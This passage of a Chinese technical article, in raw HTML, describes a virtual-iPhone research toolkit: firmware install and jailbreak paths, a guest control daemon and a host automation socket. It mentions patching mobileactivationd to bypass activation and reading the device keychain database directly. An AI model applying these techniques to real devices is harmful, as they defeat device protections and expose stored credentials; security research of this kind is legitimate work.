Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这让虚拟iPhone环境更接近“快照式研究资产”。研究者可以保留干净系统、Regular环境、Development环境、Jailbreak环境和不同iOS构建之间的状态，而不必每次重走完整恢复链路。</span></p><h2 data-line="233" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">9 CFW安装能力</span></h2><p data-line="220" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">CFW安装仍然是从“能启动”走向“能用”的关键阶段。当前Regular和Development路径依然通过Ramdisk SSH修改设备文件系统，Patchless则把部分文件系统变更提前进Swift文件系统重建流程。</span></p><p data-line="222" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">基础CFW安装包含以下能力：</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">安装SystemOS和AppOS Cryptex。</span></p></li><li style=""><p><span leaf="">修补</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">seputil</span></code><span leaf="">的Gigalocker路径格式。</span></p></li><li style=""><p><span leaf="">安装</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">AppleParavirtGPUMetalIOGPUFamily</span></code><span leaf="">虚拟GPU驱动。</span></p></li><li style=""><p><span leaf="">安装</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">iosbinpack64</span></code><span leaf="">基础工具集。</span></p></li><li style=""><p><span leaf="">修补</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">launchd_cache_loader</span></code><span leaf="">，允许修改后的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">launchd.plist</span></code><span leaf="">生效。</span></p></li><li style=""><p><span leaf="">修补</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mobileactivationd</span></code><span leaf="">，绕过激活流程。</span></p></li><li style=""><p><span leaf="">注入LaunchDaemons，启动bash、dropbear、trollvnc、rpcserver_ios和vphoned等服务。</span></p></li></ul><p data-line="232" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Development路径会额外处理调试能力。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cfw_install_dev.sh</span></code><span leaf="">会应用dev overlay，把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">rpcserver_ios</span></code><span leaf="">替换为开发版本，还会修补</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">debugserver</span></code><span leaf="">Entitlements，添加调试所需权限，并修补launchd的jetsam路径，避免启动时陷入initproc崩溃循环。</span></p><p data-line="234" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Jailbreak路径会在基础CFW之外追加越狱相关组件。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cfw_install_jb.sh</span></code><span leaf="">会注入launchd dylib、部署Procursus bootstrap、部署BaseBin hook库、安装</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">TweakLoader.dylib</span></code><span leaf="">，并把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphone_jb_setup.sh</span></code><span leaf="">作为首启LaunchDaemon放入系统。</span></p><p data-line="236" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphone_jb_setup.sh</span></code><span leaf="">负责首次正常启动后的收尾工作。它会建立</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/var/jb</span></code><span leaf="">链接，修复权限，运行</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">prep_bootstrap.sh</span></code><span leaf="">，安装Sileo，配置APT源，安装TrollStore Lite，刷新</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">uicache</span></code><span leaf="">，并为SSH交互写入shell profile。日志写入：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="238" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">/var/log/vphone_jb_setup.log</span></code></pre><p data-line="242" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这说明当前越狱能力已经不仅是内核补丁，而是包含包管理器、用户态hook、插件加载器和首启自修复流程的完整运行环境。</span></p><h2 data-line="259" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">10 vphoned与Guest侧控制协议</span></h2><p data-line="246" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphoned</span></code><span leaf="">是当前仓库能力扩展中最重要的组件之一。它是一个运行在iOS虚拟机内的Objective-C守护进程，通过LaunchDaemon启动，在vsock端口1337监听Host侧连接。</span></p><p data-line="248" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">协议是长度前缀JSON：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="250" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">[uint32 big-endian length][UTF-8 JSON]</span></code></pre><p data-line="254" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Host侧由</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">VPhoneControl.swift</span></code><span leaf="">负责连接、握手、自动重连、请求超时、二进制传输和能力检查。Guest侧在握手时返回能力列表，例如</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hid</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">devmode</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">file</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">keychain</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">location</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ipa_install</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">clipboard</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">apps</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">url</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">settings</span></code><span leaf="">。</span></p><p data-line="256" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">非Patchless路径下，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphoned</span></code><span leaf="">还支持自更新。Host在hello消息里携带当前签名</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphoned</span></code><span leaf="">二进制的SHA-256，Guest侧发现哈希不一致后请求更新，Host推送新二进制，Guest写入缓存路径并退出，由launchd重启后切换到新版本。这避免了每次修改Guest代理后都重做CFW安装。</span></p><p data-line="258" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">当前Guest控制能力包括：</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">HID按键注入，支持Home、Power、音量等硬件键。</span></p></li><li style=""><p><span leaf="">Developer Mode状态查询和启用。</span></p></li><li style=""><p><span leaf="">文件列表、下载、上传、删除、重命名和创建目录。</span></p></li><li style=""><p><span leaf="">钥匙串枚举，可通过Security API和直接读取</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/var/Keychains/keychain-2.db</span></code><span leaf="">补充结果。</span></p></li><li style=""><p><span leaf="">剪贴板读取和写入，支持文本和图片。</span></p></li><li style=""><p><span leaf="">应用列表、应用启动、应用终止和前台应用查询。</span></p></li><li style=""><p><span leaf="">URL打开。</span></p></li><li style=""><p><span leaf="">Settings读取和写入。</span></p></li><li style=""><p><span leaf="">位置模拟和停止模拟。</span></p></li><li style=""><p><span leaf="">低电量模式同步。</span></p></li><li style=""><p><span leaf="">IPA/TIPA安装。</span></p></li><li style=""><p><span leaf="">Accessibility树读取，前提是Guest暴露对应能力。</span></p></li></ul><p data-line="273" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这些能力让虚拟iPhone不再只是VNC里的画面，而是可以被Host程序结构化控制的iOS实例。</span></p><h2 data-line="290" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">11 Host侧自动化Socket</span></h2><p data-line="277" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">除了Guest内的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphoned</span></code><span leaf="">，当前仓库还加入了Host侧自动化Socket。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">VPhoneHostControl.swift</span></code><span leaf="">会在VM目录下创建Unix domain socket：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="279" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">vm/vphone.sock</span></code></pre><p data-line="283" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它接受一行JSON命令，执行后返回一行JSON结果。当前支持的命令包括：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="285" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span><span leaf="">{</span></span><span style="color: rgb(255, 0, 0);"><span leaf="">&#34;t&#34;</span></span><span><span leaf="">:</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;screenshot&#34;</span></span><span><span leaf="">}</span></span><br/><span><span leaf="">{</span></span><span style="color: rgb(255, 0, 0);"><span leaf="">&#34;t&#34;</span></span><span><span leaf="">:</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;tap&#34;</span></span><span><span leaf="">,</span></span><span style="color: rgb(255, 0, 0);"><span leaf="">&#34;x&#34;</span></span><span><span leaf="">:</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">645</span></span><span><span leaf="">,</span></span><span style="color: rgb(255, 0, 0);"><span leaf="">&#34;y&#34;</span></span><span><span leaf="">:</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">1398</span></span><span><span leaf="">}</span></span><br/><span><span leaf="">{</span></span><span style="color: rgb(255, 0, 0);"><span leaf="">&#34;t&#34;</span></span><span><span leaf="">:</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;swipe&#34;</span></span><span><span leaf="">,</span></span><span style="color: rgb(255, 0, 0);"><span leaf="">&#34;x1&#34;</span></span><span><span leaf="">:</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">645</span></span><span><span leaf="">,</span></span><span style="color: rgb(255, 0, 0);"><span leaf="">&#34;y1&#34;</span></span><span><span leaf="">:</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">2600</span></span><span><span 